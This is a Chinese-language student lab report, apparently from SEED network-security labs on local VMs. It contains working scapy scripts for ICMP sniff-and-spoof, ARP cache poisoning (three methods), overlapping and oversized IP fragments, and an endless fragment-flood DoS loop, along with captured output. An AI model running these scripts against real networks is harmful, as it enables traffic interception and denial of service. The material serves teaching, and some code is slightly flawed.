

Task_set1

Task1.1a

```
^C[09/11/20]seed@VM:~/EXP$ sniffer.py
Traceback (most recent call last):
  File "./sniffer.py", line 7, in <module>
    pkt = sniff(filter='icmp',prn=print_pkt)
  File "/usr/local/lib/python3.5/dist-packages/scapy/sendrecv.py", line 1036, in sniff
    sniffer.run(*args, **kwargs)
  File "/usr/local/lib/python3.5/dist-packages/scapy/sendrecv.py", line 907, in _run
    *arg, **karg)] = iface
  File "/usr/local/lib/python3.5/dist-packages/scapy/arch/linux.py", line 398, in __init__
    self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) #
noqa: E501
  File "/usr/lib/python3.5/socket.py", line 134, in __init__
    socket.socket.__init__(self, family, type, proto, fileno)
PermissionError: [Errno 1] Operation not permitted
```

不用 sudo 运行 sniffer.py 会报错权限不足

```
[09/11/20]seed@VM:~/EXP$ sudo ./sniffer.py
```

用 sudo 运行后，在主机上 ping 虚拟机：

```
C:\Users\Cheng>ping 192.168.43.132

正在 Ping 192.168.43.132 具有 32 字节的数据:
来自 192.168.43.132 的回复: 字节=32 时间<1ms TTL=64
来自 192.168.43.132 的回复: 字节=32 时间<1ms TTL=64
来自 192.168.43.132 的回复: 字节=32 时间<1ms TTL=64
来自 192.168.43.132 的回复: 字节=32 时间<1ms TTL=64

192.168.43.132 的 Ping 统计信息:
    数据包: 已发送 = 4, 已接收 = 4, 丢失 = 0 (0% 丢失),
    往返行程的估计时间(以毫秒为单位):
        最短 = 0ms, 最长 = 0ms, 平均 = 0ms
```

在虚拟机上会收到如下报文

```

[09/11/20]seed@VM:~/EXP$ sudo ./sniffer.py
####[ Ethernet ]####
  dst = 00:0c:29:0b:f7:aa
  src = 00:50:56:c0:00:08
  type = IPv4
####[ IP ]####
  version = 4
  ihl = 5
  tos = 0x0
  len = 60
  id = 40619
  flags = 0
  frag = 0
  ttl = 128
  proto = icmp
  chksum = 0xc43f
  src = 192.168.43.1
  dst = 192.168.43.132
  \options \
####[ ICMP ]####
  type = echo-request
  code = 0
  chksum = 0x4d37
  id = 0x1
  seq = 0x24
####[ Raw ]####
  load = 'abcdefghijkmnopqrstuvwxyzvwabcedefghi'

####[ Ethernet ]####
  dst = 00:50:56:c0:00:08
  src = 00:0c:29:0b:f7:aa
  type = IPv4

```

共计四个报文。

Task1.1b

只过滤 icmp 报文已经在例子中使用过了

只抓 tcp，且源地址为 192.168.43.132，目的端口 23(telnet 端口)：

```

^C[09/11/20]seed@VM:~/EXP$ sudo ./sniffer.py
####[ Ethernet ]####
  dst = 00:0c:29:0b:f7:aa
  src = 00:50:56:c0:00:08
  type = IPv4
####[ IP ]####
  version = 4
  ihl = 5
  tos = 0x0
  len = 41
  id = 40731
  flags = DF
  frag = 0
  ttl = 128
  proto = tcp
  chksum = 0x83dd
  src = 192.168.43.1
  dst = 192.168.43.132
  seq = 2654551424
  \options \
####[ TCP ]####
  sport = 61836
  dport = telnet
  seq = 2654551424
  ack = 4137801210
  reserved = 5
  length = 0
  addr_mask = PA
  next_hop = 4105
  unused_chksum = 0xc1f1
  unused_urgptr = 0
  options = []
####[ Raw ]####
  load = '\l'
####[ Padding ]####
  sent 1 packets
  c="fuckyou"

```

这里利用主机对虚拟机进行 telnet 链接

src = 192.168.43.2

Task1.2

```
###[ Ethernet ]###
  dst      = 00:50:56:f6:dc:24
  src      = 00:0c:29:0b:f7:aa
  type     = IPv4
###[ IP ]###
  version  = 4
  ihl      = 5
  tos      = 0x0
  len      = 28
  id       = 1
  flags    = 0
  frag     = 0
  ttl      = 64
  proto    = icmp
  chksum   = 0x82b1
  src      = 192.168.43.132
  dst      = 10.0.2.3
Sent 1 packets. \
###[ ICMP ]###
  type     = echo-request
  code     = 0
  chksum   = 0xf7ff
  id       = 0x0
  seq      = 0x0
```

在虚拟机上监听到了这个 dst 为 10.0.2.3 的报文。

Task1.3

```
###[ Ethernet ]###
  dst      = 00:50:56:f6:dc:24
  src      = 00:0c:29:0b:f7:aa
  type     = IPv4
###[ IP ]###
  version  = 4
  ihl      = 5
  tos      = 0x0
  len      = 28
  id       = 1
  flags    = 0
  frag     = 0
  ttl      = 2
  proto    = icmp
  chksum   = 0x4464
  src      = 192.168.43.132
  dst      = 121.194.14.142
Sent 1 packets. \
###[ ICMP ]###
  type     = echo-request
  code     = 0
  chksum   = 0xf7ff
  id       = 0x0
  seq      = 0x0
```

用了两跳到达了 121.194.14.142: 东南大学官网。

Task1.4

代码构造如下

```
sniffer.py ▶ ...
1  #!/usr/bin/python3
2  from scapy.all import *
3
4  def snoofing(pkt):
5      dstip = pkt.payload.dst
6      srcip = pkt.payload.src
7      icmp_id = pkt.payload.payload.id
8      icmp_seq = pkt.payload.payload.seq
9      a = IP()
10     a.dst = srcip
11     a.src = '1.1.1.1'
12     b = ICMP()
13     b.type = 0
14     b.code = 0
15     b.id = icmp_id
16     b.seq = icmp_seq
17     send(a/b)
18     what = pkt.payload.payload
19     what.show()
20
21  pkt = sniff(filter='icmp and src host 192.168.43.131', prn=snoofing)
```

运行。。。监听源地址为 192.168.43.132 的另一台虚拟机 2；

虚拟机 2 向一个 ip 发送 icmp 报文

```
^C[09/12/20]seed@VM:~/EXP$ ping 1.2.3.4
PING 1.2.3.4 (1.2.3.4) 56(84) bytes of data.
8 bytes from 1.2.3.4: icmp_seq=1 ttl=64 (truncated)
8 bytes from 1.2.3.4: icmp_seq=2 ttl=64 (truncated)
8 bytes from 1.2.3.4: icmp_seq=3 ttl=64 (truncated)
8 bytes from 1.2.3.4: icmp_seq=4 ttl=64 (truncated)
8 bytes from 1.2.3.4: icmp_seq=5 ttl=64 (truncated)
8 bytes from 1.2.3.4: icmp_seq=6 ttl=64 (truncated)
8 bytes from 1.2.3.4: icmp_seq=7 ttl=64 (truncated)
8 bytes from 1.2.3.4: icmp_seq=8 ttl=64 (truncated)
8 bytes from 1.2.3.4: icmp_seq=9 ttl=64 (truncated)
8 bytes from 1.2.3.4: icmp_seq=10 ttl=64 (truncated)
8 bytes from 1.2.3.4: icmp_seq=11 ttl=64 (truncated)
^C
--- 1.2.3.4 ping statistics ---
11 packets transmitted, 11 received, 0% packet loss, time 10016ms
rtt min/avg/max/mdev = 2147483.647/0.000/0.000/0.000 ms
```

Sniffer 进行拦截并回复：

```

ttl      = 64
proto    = icmp
chksum   = 0x13a5
src      = 192.168.43.132
dst      = 1.2.3.4
\options \
###[ ICMP ]###
    type    = echo-request
    code     = 0
    chksum   = 0xfe99
    id       = 0x3ecc
    seq      = 0xb
###[ Raw ]###
    load     = '\xab\_\x08\x81\n\x00\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\

###[ IP ]###
    version  = 4
    ihl      = None
    tos      = 0x0
    len      = None
    id       = 1
    flags    =
    frag     = 0
    ttl      = 64
    proto    = icmp
    chksum   = None
    src      = 1.2.3.4
    dst      = 192.168.43.132
    \options \

###[ ICMP ]###
    type    = echo-reply
    code     = 0
    chksum   = None
    id       = 0x3ecc
    seq      = 0xb

```

如图分别是 request 报文的一部分和伪造的 reply 的报文，可以看到对应的 icmp 报文中 id 和 seq 是对应的，而 ip 源宿地址是相反的。

对一个无效 ip 发起 ping，结果收到 reply 说明伪造成功。

Chapter2Task2

ARP poisoning

方法一：

```

[09/12/20]seed@VM:~$ arp -a
? (192.168.43.132) at 00:0c:29:0b:f7:aa [ether] on ens33
? (192.168.43.131) at 00:0c:29:4e:1a:6d [ether] on ens33
? (192.168.43.2) at 00:50:56:f6:dc:24 [ether] on ens33
? (192.168.43.254) at 00:50:56:ed:ca:7f [ether] on ens33

```

可见默认的三个 IP 分别为。131，.132，.133 的三个虚拟机

现在在 132 上构建 ARP 询问报文，但是源硬件地址改为 131 的地址

```

arpoison.py ▸ ...
1  #!/usr/bin/python3
2  from scapy.all import *
3  E = Ether()
4  A = ARP()
5  A.psrc='192.168.43.131'
6  A.pdst='192.168.43.133'
7  pkt = E/A
8  sendp(pkt)
9

```

向 133 发送

```

[09/12/20]seed@VM:~$ arp -a
? (192.168.43.132) at 00:0c:29:0b:f7:aa [ether] on ens33
? (192.168.43.131) at 00:0c:29:0b:f7:aa [ether] on ens33
? (192.168.43.2) at 00:50:56:f6:dc:24 [ether] on ens33
? (192.168.43.254) at 00:50:56:ed:ca:7f [ether] on ens33
[09/12/20]seed@VM:~$

```

133 多了一个重复的 arp 项，说明可行。

方法二：reply

```

arpoison.py ▸ ...
1  #!/usr/bin/python3
2  from scapy.all import *
3  E = Ether()
4  A = ARP()
5  A.psrc='192.168.43.131'
6  A.pdst='192.168.43.133'
7  A.op=2
8  pkt = E/A
9  sendp(pkt)

```

构造报文如上，与方法一类似只是将 op 改为 2 (reply)

```

[09/12/20]seed@VM:~$ arp -a
? (192.168.43.132) at 00:0c:29:0b:f7:aa [ether] on ens33
? (192.168.43.131) at 00:0c:29:0b:f7:aa [ether] on ens33
? (192.168.43.2) at 00:50:56:f6:dc:24 [ether] on ens33
? (192.168.43.254) at 00:50:56:ed:ca:7f [ether] on ens33
[09/12/20]seed@VM:~$ ping 192.168.43.131
PING 192.168.43.131 (192.168.43.131) 56(84) bytes of data.
^C
--- 192.168.43.131 ping statistics ---
7 packets transmitted, 0 received, 100% packet loss, time 6128ms

```

受害者会又将 131 的 ip 连到 132 的 mac 地址上，结果也 ping 不通了。

| | | | | |
|---------------|-----------------|------------------|-----|--|
| 1 0.000000... | Vmware_0b:f7:aa | Broadcast | ARP | 60 Who has 192.168.43.133? Tell 192.168.43.132 |
| 2 0.000248... | Vmware_66:cd:b8 | Vmware_0b:f7:... | ARP | 60 192.168.43.133 is at 00:0c:29:66:cd:b8 |
| 3 0.019103... | Vmware_0b:f7:aa | Vmware_66:cd:... | ARP | 60 192.168.43.131 is at 00:0c:29:0b:f7:aa |
| 4 1.296627... | Vmware_0b:f7:aa | Broadcast | ARP | 60 Who has 192.168.43.133? Tell 192.168.43.132 |
| 5 1.296764... | Vmware_66:cd:b8 | Vmware_0b:f7:... | ARP | 60 192.168.43.133 is at 00:0c:29:66:cd:b8 |
| 6 1.311290... | Vmware_0b:f7:aa | Vmware_66:cd:... | ARP | 60 192.168.43.131 is at 00:0c:29:0b:f7:aa |

在 132 上运行 wireshark 可以看见发送的报文。

方法三：gratuitous arp

```
#!/usr/bin/python3
from scapy.all import *
E = Ether()
A = ARP()
A.psrc='192.168.43.131'
A.pdst='192.168.43.131'
A.hwdst='00:0c:29:4e:1a:6d'
A.op=1
E.show()
A.show()
pkt = E/A
sendp(pkt)
```

构造方法如上，源宿 IP 地址相同都是伪装目标 131 的，但是源 mac 改为自己的，可以达到广播的效果。

```
? (192.168.43.254) at 00:50:56:ed:ca:7f [ether] on ens33
[09/12/20]seed@VM:~$ arp -a
? (192.168.43.132) at 00:0c:29:0b:f7:aa [ether] on ens33
? (192.168.43.131) at 00:0c:29:4e:1a:6d [ether] on ens33
? (192.168.43.2) at 00:50:56:f6:dc:24 [ether] on ens33
? (192.168.43.254) at 00:50:56:ed:ca:7f [ether] on ens33
[09/12/20]seed@VM:~$
```

Tasks1: IPFragmentation

A

构造报文如下

```
#!/usr/bin/python3
from scapy.all import *

# Construct IP header
ip = IP(src="192.168.43.132", dst="192.168.43.133", id=1000, frag=0, flags=1)

# Construct UDP header
udp = UDP(sport=7070, dport=9090, chksum=0, len=104)

# Construct payload
payload = 'A' * 32 # Put 80 bytes in the first fragment

# Construct the entire packet and send it out
pkt = ip/udp/payload # For other fragments, we should use ip/payload
send(pkt, verbose=0)

# Construct IP header
ip = IP(src="192.168.43.132", dst="192.168.43.133")
ip.id = 1000 # Identification
ip.frag = 5 # Offset of this IP fragment
ip.flags = 1 # Flags
ip.proto = 'udp'
# Construct payload
payload = 'B' * 32 # Put 80 bytes in the first fragment

# Construct the entire packet and send it out
pkt = ip/payload # For other fragments, we should use ip/payload
send(pkt, verbose=0)
```

分片的关键在于 flags, flag=1 是后面还有分片, flag=0 是没有, frag 是位偏移, 需要将字节数除以 8, udp 总长度设置位 96+8=104

| | | | |
|----------------|----------------|------|-------------------------|
| 192.168.43.132 | 192.168.43.133 | UDP | 74 7070 → 9090 Len=96 |
| 192.168.43.132 | 192.168.43.133 | IPv4 | 66 Fragmented IP protoc |
| 192.168.43.132 | 192.168.43.133 | IPv4 | 66 Fragmented IP protoc |

未打开 wireshark 的组合功能。

| | | | | | |
|-----|------------|---------------------|----------------|----------------|----|
| 93 | 2020-09-12 | 21:22:37.0023005... | 192.168.43.132 | 192.168.43.133 | IF |
| 94 | 2020-09-12 | 21:22:37.0380442... | 192.168.43.132 | 192.168.43.133 | U |
| 95 | 2020-09-12 | 21:22:37.0381240... | 192.168.43.133 | 192.168.43.132 | IF |
| 103 | 2020-09-12 | 21:22:55.2292326... | 192.168.43.132 | 192.168.43.133 | IF |
| 104 | 2020-09-12 | 21:22:55.2620703... | 192.168.43.132 | 192.168.43.133 | IF |
| 105 | 2020-09-12 | 21:22:55.2940844... | 192.168.43.132 | 192.168.43.133 | U |

| | | | | |
|------|-------------------------|-------------------------|----------|----------|
| 0000 | 1b 9e 23 82 00 68 00 00 | 41 41 41 41 41 41 41 41 | ..#..h.. | AAAAAAAA |
| 0010 | 41 41 41 41 41 41 41 41 | 41 41 41 41 41 41 41 41 | AAAAAAAA | AAAAAAAA |
| 0020 | 41 41 41 41 41 41 41 41 | 42 42 42 42 42 42 42 42 | AAAAAAAA | BBBBBBBB |
| 0030 | 42 42 42 42 42 42 42 42 | 42 42 42 42 42 42 42 42 | BBBBBBBB | BBBBBBBB |
| 0040 | 42 42 42 42 42 42 42 42 | 43 43 43 43 43 43 43 43 | BBBBBBBB | CCCCCCCC |
| 0050 | 43 43 43 43 43 43 43 43 | 43 43 43 43 43 43 43 43 | CCCCCCCC | CCCCCCCC |
| 0060 | 43 43 43 43 43 43 43 43 | | CCCCCCCC | CCCCCCCC |

```
[09/12/20]seed@VM:~$ nc -l -u 9090  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCC  
CCCCCCCCC
```

B

第一个分片将 payload 从 32 改成 40，加上 8 个 K

| | | |
|----|----------|----------|
| 41 | ..#..h.. | AAAAAAAA |
| 41 | AAAAAAAA | AAAAAAAA |
| 4b | AAAAAAAA | KKKKKKKK |
| 42 | BBBBBBBB | BBBBBBBB |
| | BBBBBBBB | CCCCCCCC |
| 43 | CCCCCCCC | CCCCCCCC |
| | CCCCCCCC | |

```

# Construct IP header
ip = IP(src="192.168.43.132", dst="192.168.43.133", id=1000, frag =0 , flags = 1)
# Construct UDP header
udp = UDP(sport=7070, dport=9090, checksum = 0, len= 104)
# Construct payload
payload = 'A' * 32 + 'K'*32 # Put 80 bytes in the first fragment
# Construct the entire packet and send it out
pkt = ip/udp/payload # For other fragments, we should use ip/payload
send(pkt, verbose=0)

# Construct IP header
ip = IP(src="192.168.43.132", dst="192.168.43.133")
ip.id = 1000 #Identification
ip.frag = 5 # Offset of this IP fragment
ip.flags = 1 # Flags
ip.proto = 'udp'
# Construct payload
payload = 'B' * 32 # Put 80 bytes in the first fragment

# Construct the entire packet and send it out
pkt = ip/payload # For other fragments, we should use ip/payload

send(pkt, verbose=0)

```

将用 K 完全覆盖 B

| | |
|----------|----------|
| ..#..h.. | AAAAAAAA |
| AAAAAAAA | AAAAAAAA |
| AAAAAAAA | KKKKKKKK |
| KKKKKKKK | KKKKKKKK |
| KKKKKKKK | CCCCCCCC |
| CCCCCCCC | CCCCCCCC |
| CCCCCCCC | |

将第二个分组更改为没有第一个长，完全覆盖掉后面报文。

将发送顺序调换，结果相同

C

```

# Construct IP header
ip = IP(src="1.2.3.4", dst="192.168.43.131")
ip.id = 1000 #Identification
ip.frag = 2750 # Offset of this IP fragment
ip.flags = 1 # Flags

# Construct UDP header
udp = UDP(sport=7070, dport=9090)
udp.len = 65535 # This should be the combined length of all fragments

# Construct payload
payload = 'B' * 22000 # Put 80 bytes in the first fragment

# Construct the entire packet and send it out
pkt = ip/udp/payload # For other fragments, we should use ip/payload
pkt[UDP].checksum = 0 # Set the checksum field to zero
send(pkt, verbose=0)

# Construct IP header
ip = IP(src="1.2.3.4", dst="192.168.43.131")
ip.id = 1000 #Identification
ip.frag = 5500 # Offset of this IP fragment
ip.flags = 0 # Flags

# Construct UDP header
udp = UDP(sport=7070, dport=9090)
udp.len = 65535 # This should be the combined length of all fragments

# Construct payload
payload = 'C' * 22000 # Put 80 bytes in the first fragment

# Construct the entire packet and send it out
pkt = ip/udp/payload # For other fragments, we should use ip/payload
pkt[UDP].checksum = 0 # Set the checksum field to zero
send(pkt, verbose=0)

```

打算弄三个分片，每个 22000，但是 udp 只能是 65535

| | | |
|-------------------------|---------------------|--|
| 383 121.9313... 1.2.3.4 | 192.168.43.131 IPv4 | 1514 Fragmented IP protocol (proto=UDP 17, off=0, ID=03e8) [Reassembled in #427] |
| 384 121.9323... 1.2.3.4 | 192.168.43.131 IPv4 | 1514 Fragmented IP protocol (proto=UDP 17, off=1480, ID=03e8) [Reassembled in #427] |
| 385 121.9333... 1.2.3.4 | 192.168.43.131 IPv4 | 1514 Fragmented IP protocol (proto=UDP 17, off=2960, ID=03e8) [Reassembled in #427] |
| 386 121.9343... 1.2.3.4 | 192.168.43.131 IPv4 | 1514 Fragmented IP protocol (proto=UDP 17, off=4440, ID=03e8) [Reassembled in #427] |
| 387 121.9351... 1.2.3.4 | 192.168.43.131 IPv4 | 1514 Fragmented IP protocol (proto=UDP 17, off=5920, ID=03e8) [Reassembled in #427] |
| 388 121.9359... 1.2.3.4 | 192.168.43.131 IPv4 | 1514 Fragmented IP protocol (proto=UDP 17, off=7400, ID=03e8) [Reassembled in #427] |
| 389 121.9370... 1.2.3.4 | 192.168.43.131 IPv4 | 1514 Fragmented IP protocol (proto=UDP 17, off=8880, ID=03e8) [Reassembled in #427] |
| 390 121.9379... 1.2.3.4 | 192.168.43.131 IPv4 | 1514 Fragmented IP protocol (proto=UDP 17, off=10360, ID=03e8) [Reassembled in #427] |
| 391 121.9388... 1.2.3.4 | 192.168.43.131 IPv4 | 1514 Fragmented IP protocol (proto=UDP 17, off=11840, ID=03e8) [Reassembled in #427] |
| 392 121.9397... 1.2.3.4 | 192.168.43.131 IPv4 | 1514 Fragmented IP protocol (proto=UDP 17, off=13320, ID=03e8) [Reassembled in #427] |
| 393 121.9405... 1.2.3.4 | 192.168.43.131 IPv4 | 1514 Fragmented IP protocol (proto=UDP 17, off=14800, ID=03e8) [Reassembled in #427] |
| 394 121.9418... 1.2.3.4 | 192.168.43.131 IPv4 | 1514 Fragmented IP protocol (proto=UDP 17, off=16280, ID=03e8) [Reassembled in #427] |
| 395 121.9429... 1.2.3.4 | 192.168.43.131 IPv4 | 1514 Fragmented IP protocol (proto=UDP 17, off=17760, ID=03e8) [Reassembled in #427] |
| 396 121.9443... 1.2.3.4 | 192.168.43.131 IPv4 | 1514 Fragmented IP protocol (proto=UDP 17, off=19240, ID=03e8) [Reassembled in #427] |
| 397 121.9454... 1.2.3.4 | 192.168.43.131 IPv4 | 1322 Fragmented IP protocol (proto=UDP 17, off=20720, ID=03e8) [Reassembled in #427] |

结果如图，

- ▶ Frame 390: 1514 bytes on wire (
- ▶ Ethernet II, Src: Vmware_0b:f7:
- ▶ Internet Protocol Version 4, Sr
- ▶ Data (1480 bytes)

会自动分成小于 1480 的分组，而总体又小于 65536

• 427 122.0747... 1.2.3.4 192.168.43.131 UDP 1322 7070 → 9090 Len=65527

▶ Frame 427: 1322 bytes on wire (10576 bits), 1322 bytes captured (10576 bits) on interface
 ▶ Ethernet II, Src: Vmware_0b:f7:aa (00:0c:29:0b:f7:aa), Dst: Vmware_4e:1a:6d (00:0c:29:4e:1a:6d)
 ▶ Internet Protocol Version 4, Src: 1.2.3.4, Dst: 192.168.43.131
 ▶ User Datagram Protocol, Src Port: 7070, Dst Port: 9090
 ▶ Data (65527 bytes)

```

CCCCCCCC CCCCCCCC
CCCCCCCC CCCCCCCC
CCCCCCCC CCCCCCCC
CCCCCCCC CCCCCCCC
CCCCCCCC CCCCCCCC

```

但是数据部分会有溢出。可以达到溢出的效果

D

```

ipfragDos.py ▶ ...
1  #!/usr/bin/python3
2  from scapy.all import *
3
4  while(True):
5      # Construct IP header
6      i = 0
7      ip = IP(src="1.2.3.4", dst="192.168.43.131")
8      ip.id = i #Identification
9      ip.frag = 0 # Offset of this IP fragment
10     ip.flags = 1 # Flags
11
12     # Construct UDP header
13     udp = UDP(sport=7070, dport=9090)
14     udp.len = 65535 # This should be the combined length of all fragments
15
16     # Construct payload
17     payload = 'A' * 60000 # Put 80 bytes in the first fragment
18
19     # Construct the entire packet and send it out
20     pkt = ip/udp/payload # For other fragments, we should use ip/payload
21     pkt[UDP].checksum = 0 # Set the checksum field to zero
22     send(pkt, verbose=0)
23
24     ++i
25

```

代码如下

下面是 wireshark 抓的包，另外 server 没什么变化，电脑风扇也转的飞起。

分组: 15945 • 已显示: 15909 (99.8%) • 已丢弃: 0 (0.0%)